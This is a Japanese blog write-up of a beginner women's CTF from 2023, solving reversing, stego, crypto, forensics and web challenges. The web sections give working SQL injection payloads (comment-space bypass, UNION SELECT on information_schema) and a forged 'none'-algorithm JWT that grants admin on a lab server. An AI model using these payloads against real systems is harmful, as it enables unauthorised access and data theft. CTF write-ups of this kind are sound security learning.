1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

4-Girls Petit CTF writeup!

Last updated at Posted at 2023-12-25

概要

2023/12/23にSECCON電脳会議内で実施された、4-Girls Petit CTF(電脳会議内のイベント名は「【女性限定】CTFハンズオン (大会形式・初心者歓迎)」)に参加してきました!

最終的に、web 200, 300のfirst bloodと全体2位を取ることができました🥳 writeup書いてもいいようなので整理がてら書いておきます。

image.png

環境

WindowsPC+kali linux(WSL)で、基本的にはkali上で解いていました。GUIがほしいときはkexでRDPするかWindows側から直接kali内のアプリを呼び出すかという感じ。
(前々からノートPCを買い替えたかったのもありこの機に新しいのを買ったのですが、配送が1日間に合わず持っていけませんでした……無念)

[Tutorial] Welcome (100pt)

初心者の方向けに練習の場をご用意しました(知ってるよ!って方もしばしお付き合いください)

CTFでは問題を解く中で以下のような文字列が手に入ることがあります。これを「フラグ」と呼びます。

この問題のフラグ:ctf4g{Happy_10th_anniversary!}

この場合は記号の部分 ctf4g{} を含めたすべての文字列を下のフォームに入力して「submit」をクリックします。正解すればポイントが獲得できます。フラグにはアルファベットと数字と記号が含まれますが大文字/小文字は気にしなくて大丈夫です。

まずは試してみましょう!ついでに↓のヒントも見てね。

flag
ctf4g{Happy_10th_anniversary!}

[Reversing] banner4you (100pt)

Flag is hidden somewhere…
file: banner4you

file コマンドよりELF実行ファイル。とりあえず strings するとflagが見えた。

┌──(saku㉿note-s-oAo)-[~/ctf4g2023]
└─$ file banner4you 
banner4you: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4cbe29832e30c66e3ee08bcaf04e36ca5132077c, for GNU/Linux 3.2.0, not stripped
                                                                                                                                                                                        
┌──(saku㉿note-s-oAo)-[~/ctf4g2023]
└─$ strings banner4you 
/lib64/ld-linux-x86-64.so.2
stdout
__libc_start_main
fprintf
__cxa_finalize
libc.so.6
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
What does this drawn by ChatGPT look like?
ctf4g{S4nt4_C14us}
;*3$"
   *    *
  / \__/ \
 (  @  @  )
   \  ^  /
    |||||
    |||||
GCC: (Debian 13.2.0-5) 13.2.0
Scrt1.o
__abi_tag
crtstuff.c

[略]
flag
ctf4g{S4nt4_C14us}

[Reversing] Find me (200pt)

フラグはどこにある?
file: findme

前問と同じくELFファイルだが、stringsではflagっぽいものが見えない。IDAで開くと、何かの処理をして最終的にL[I;Ht>?y<>vP9>a9<}m}<;kr になる文字列( secret_message_enc)がflagっぽい。

image.png

F5キーでデコンパイルを試すと、以下のコードが出てきた。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 24; ++i )
    secret_message_enc[i] ^= 0xFu;
  puts("Find me in memory!");
  return 0;
}

0xfでxorしているっぽい。もう一度xorすると元に戻るはずなので、cyberchefにお願いした。

flag
CTF4G{10v31y_61n63rbr34d}

[Misc] この模様はなーんだ? (100pt)

この画像からフラグを取得してみましょう
file: misc_first.png

misc_first.png

謎の画像をgoogleの画像検索に掛けると、以下のサイトに似たような画像があった。MaxiCodeと呼ばれる2次元コードの一種とのこと。

ネットにスキャナがあったので問題の画像を放り込むと、flagが取得できた。

flag
ctf4g{Hotwine0rHotChocolate?}

[Misc] christmas card (200pt)

Flag is hidden in this christmas card.
file: christmascard.png

christmascard.png

exifなど、ぱっと見えるところにはなさそう。特定の色を取り出すとかかなあということで、以下サイトに放り込む。

適当にボタンを押していたところ、[LSB half]選択時にflagが出てきた。(各最下位ビットだけ取り出した場合……という意味でいいのだろうか)

flag
ctf4g{3nj0y_5te9}

[Misc] 3keywords (300pt)

仲間と協力してキーワードを見つけてください。 見つけたキーワードをアルファベット(辞書)順に並べたとき、導き出される場所があります。

その場所の公式サイトのセカンドレベルドメインがフラグです。

例)たとえば答えが「浅草橋ヒューリックホール&カンファレンス」なら、公式サイトは https://hulic-hall.com/ なので、フラグは ctf4g{hulic-hall} となります。

周りの人と協力しないと解けない、という珍しい問題。

今回のCTF4Gでは、入場時に10周年仕様のステッカー(かわいい)が配られていた。よく見ると文字列などが書いてあり、3種類あるこれらをすべて確認しないと解けない仕様だった。

基本的にひとり1枚だが、終了後に景品として3種類ともいただけたので貼っておく。(右上のPWNも入場時にもらえたもの。これは問題には関係ない。かわいい)

image.png

それぞれの内容とキーワードを求めた結果は以下。

ステッカーの内容 デコード方法 解答
0x73 0x65 0x63 0x74 ASCII sect
5 14 3 15 21 18 1 7 5 アルファベット順(aが1) encourage
-... . .- -.. … 欧文モールス信号 beads

問題文の通りアルファベット順にすると "beads encourage sect"。これについては同じテーブルの方々と解いていたのだが、ここで詰まってしまった。文字列でググったりmap検索しても出てこない。

しばらく経った後、同じテーブルの方が「what3words」というサイトを発見。3単語で場所を指定するというものらしい。初めて知った……

what3wordsのサイトで3単語を入力すると「サンタクロース村」がヒットした。

flag
ctf4g{santaclausvillage}

[Crypto] Do not use the default password! (100pt)

世の中には暗号鍵を扱うツールやキーストアの仕組みは色々ありますが、その中でもおちゃめなデフォルトパスワードを持つものがあります。

有名なデフォルトパスワードを持つ鍵ストア「mykeystore.zip」をお渡ししますので、パスワードを推測して中身を見てみてください。
file: mykeystore.zip

与えられたzipファイルを解凍するとキーストアファイルが入っている。"keystore default password" でググると以下がヒットした。

あとはコマンドを調べてchangeitをパスワードに指定すると、無事中を見ることができた。OwnerやIssuerにflagが入っている。

└─$ keytool -list -v -storepass changeit -keystore mykeystore 
Keystore type: PKCS12
Keystore provider: SUN

Your keystore contains 1 entry

Alias name: ctf4g-flagisinside
Creation date: Dec 6, 2023
Entry type: PrivateKeyEntry
Certificate chain length: 1
Certificate[1]:
Owner: CN=ctf4g{holidayiscoming2023}, OU=10 years anniversary, O=SECCON, C=JP
Issuer: CN=ctf4g{holidayiscoming2023}, OU=10 years anniversary, O=SECCON, C=JP
Serial number: 59f3c64b
Valid from: Wed Dec 06 15:46:03 JST 2023 until: Mon Jun 03 15:46:03 JST 2024
Certificate fingerprints:
         SHA1: 9E:BA:9F:53:79:AB:9F:FA:AE:4C:AE:29:8D:B9:87:A0:4E:23:FB:10
         SHA256: E1:3A:B2:03:02:12:01:1D:40:B5:D0:87:4A:46:3C:20:0C:BC:93:07:86:D7:6E:63:83:CE:36:DC:9D:12:DF:77
Signature algorithm name: SHA256withDSA
Subject Public Key Algorithm: 2048-bit DSA key
Version: 3

Extensions: 

#1: ObjectId: 2.5.29.14 Criticality=false
SubjectKeyIdentifier [
KeyIdentifier [
0000: E1 9A 39 65 B7 35 3A AA   35 51 4D BF 29 4D 5D 88  ..9e.5:.5QM.)M].
0010: 01 2E 9D 5F                                        ..._
]
]

***
***
flag
ctf4g{holidayiscoming2023}

[Forensics] Snow covered (100pt)

flagは雪の中に埋めてしまった。
file: snowcovered.pdf

image.png

パワポとかで開いて画像を退けるやつだ!というのは分かったものの、officeない場合はどうするんだっけ……としばらく悩む。参加できなかった午前中の講義のテキストも見られる状態にしていただいていたのだが、そこにforemostコマンドが載っていた。

┌──(saku㉿note-s-oAo)-[~/ctf4g2023]
└─$ foremost snowcovered.pdf 
Processing: snowcovered.pdf
|*|

生成されたoutputディレクトリの中の画像ファイルを見ると、3ファイルに分けてflagらしき文字列があるのを発見。つなげてsubmitした。

ctf4g{PdFw0nd3rLan:D}

[Web] トナカイ専用 (100pt)

トナカイが使うブラウザでしか閲覧できないサイトです

[webapp URL]

image.png

かわいい。
ブラウザ指定ということはUser-Agentを変えろということっぽいので、Burp SuiteでInterceptして以下のように書き換えた。

User-Agent: ReindeerBrowser

これでレスポンスとしてflagが返ってきた。

image.png

flag
ctf4g{y0u_ar3_th3_r3d-n0s3d_r31nd33r}

[Web] Escape (200pt)

サンタさんの担当エリアを確認するサイトがあるけどどうやら脆弱性があるみたい。 サンタさんのサーバから隠された情報を探してプレゼントをゲットしてやるぞ。

まずは、Kyotoの担当を調べてみよう。

[webapp URL]

image.png

SQLインジェクションしろということらしい。
入力を試したところ、いくつかのエスケープ処理があることが分かった。エスケープ後の文字列を出力してくれるしSQLエラーも出してくれる、優しい。

  • スペースが削除される
  • orが絵文字🎅🤶🎁に変換される

ただし、それぞれ以下でバイパスできる。

  • スペースの代わりに/**/(コメントアウト)を使う
  • 大文字の ORを使う

1. OR で全データ?を出力させる

input
'OR/**/1=1/**/#a

雑にインジェクションしてみる。

image.png

それっぽいものが出てきた……のだが、途中で切れている。ここの出力に文字数制限があるか、別のテーブルがあるかのどちらかだと予想。
どちらを確かめるにしろunionを使いたいので、列数を揃えるために列数を取得する必要がある。

2. SantaClausesテーブルの列数を取得する

以下のような形でnullを増やしていったところ、4つでエラーが出なくなった。

'/**/union/**/select/**/null,null,null,null/**/#a

ついでに適当なnull'a'に変えて、少なくとも3つ目は画面に出力されることを確認した。

3. テーブル名を確認する

input
'/**/union/**/select/**/null,null,table_name,null/**/from/**/information_schema.tables/**/#a

information_schema.tablesからテーブル名を取得すると、デフォルトのもの以外に以下2つが確認できる。

output(抜粋)
SantaClauses	
SecretSanta

4. カラム名を確認する

まずSantaClausesテーブルについて確認。

input
'/**/union/**/select/**/null,null,column_name,null/**/from/**/information_schema.columns/**/where/**/table_name='SantaClauses'/**/#a

カラム名を見るに、出力に使われていたのはこのテーブルっぽい。

output
id	
position	
santaname	
area

次にSecretSantaを確認。

input
'/**/union/**/select/**/null,null,column_name,null/**/from/**/information_schema.columns/**/where/**/table_name='SecretSanta'/**/#a

明らかに怪しいカラムがある。

output
id	
position	
santaname	
secret

5. SecretSantaテーブルを出力する

怪しいsecretを出力させる。

input
'/**/union/**/select/**/null,null,secret,null/**/from/**/SecretSanta/**/#a

残りのflagが出てきた。

image.png

flag
ctf4g{Chr1stm@s_Pre5ent:)}

[Web] SecretKey (300pt)

Alice「シークレットセールはしめ切っちゃったみたい。なんとかセールに参加できないかなあ。」

ID: alice PW: p@ssw0rd!

[webapp URL]

image.png

お知らせ一覧が表示されている。それぞれのURLが104xx.htmlだったので、Burp SuiteのIntruderを用いて00〜99をブルートフォースする。10458.htmlにシークレットセールのログイン画面があるのを確認できた。

とりあえず問題文にあるクレデンシャルでログインしてみるが、ログイン後画面にてシークレットセールは終わっていると言われてしまう。

URLをいじったりレスポンスを眺めたりしていたところ、cookieの形に見覚えがあることに気が付いた。

Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzAzMzA5NTExMTk1LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMTkuMC42MDQ1LjE5OSBTYWZhcmkvNTM3LjM2Iiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MDMzMDk1MTF9.2zM1DTX3frFLKsIeh9pPH14DkRKgGkl-yxc7JY_kSkY; path=/; httponly

適当に先頭のeyJ0eでググるとJWTだった。JWTといえばデコードしてセッション情報を書き換える方法がありがちなので、とりあえずデコードサイトに発行されたcookieを突っ込む。

roleでいかにも権限を指定していそうだったので、ここを例えばadminにすることを考える。更に、中身をいじるためにはアルゴリズムをnoneにして検証回避する必要がある。
pythonのpyjwtを使うのが楽なようなので、これを使ってrole: adminかつアルゴリズムがnoneのJWTを生成する。

┌──(saku㉿note-s-oAo)-[~/ctf4g2023]
└─$ python           
Python 3.11.6 (main, Oct  8 2023, 05:06:43) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pyjwt
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ModuleNotFoundError: No module named 'pyjwt'
>>> import jwt
>>> d = {"auth": 1703309878039,"agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36","role": "admin","iat": 1703309878}
>>> jwt.encode(payload=d, algorithm="none")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: PyJWT.encode() missing 1 required positional argument: 'key'
>>> jwt.encode(payload=d, key="", algorithm="none")
'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhdXRoIjoxNzAzMzA5ODc4MDM5LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMTkuMC42MDQ1LjE5OSBTYWZhcmkvNTM3LjM2Iiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzAzMzA5ODc4fQ.'

Burp Suiteを使ってcookieを生成したものに変更すると、管理者ページが表示されてflagを取得することができた。

request
GET /10458private HTTP/1.1
Host: 27.133.129.25:43000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://27.133.129.25:43000/10458private
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Cookie: token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhdXRoIjoxNzAzMzA5ODc4MDM5LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMTkuMC42MDQ1LjE5OSBTYWZhcmkvNTM3LjM2Iiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzAzMzA5ODc4fQ.
Connection: close
response
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>管理者ページ</title>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootswatch/3.2.0/united/bootstrap.min.css">
    <style type="text/css">
      .form-signin {
        width: 100%;
        max-width: 420px;
        padding: 15px;
        margin: auto;
      }
    </style>
  </head>
  <body>
    <div class="text-center"><h1>管理者としてログインしました!</h1></div>
    <div class="text-center"><span>ctf4g{5nt@'s_s@ck!}</span></div>
    <form class="form-signin" action="/10458logout" method="GET">
      <div class="text-center mb-4">
        <input type="submit" class="btn btn-danger" value="logout" />
      </div>
    </form>
  </body>
</html>
flag
ctf4g{5nt@'s_s@ck!}

かんそう

地方住みゆえ参加するかどうかずっと悩んでいたのですが、めちゃくちゃ楽しかったので来れてよかったです!!飛行機の時間的に午前は参加できず、午後からの参加でした。協力が必須の問題(3keywords)を始めとして、面白い問題ばかりで良かったです。3keywordsについては同テーブルの方々と悩む時間がそこそこ長かったので、解法が出てきたときにテーブル内がとても盛り上がりました。

嬉しかったのでこちらにも書きますが、first bloodと全体2位ということでアクセサリー(キーホルダー?)や中島明日香さんのサイン本をいただいてしまいました。ありがとうございます👏

終了すこし前にランキングを見たときは1位だったので喜んでいたんですが、終わってみたら抜かれてました。ちょっとくやしい。100pt問題しか解けてない分野もあるので、いただいた本でちゃんと勉強したいです。

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?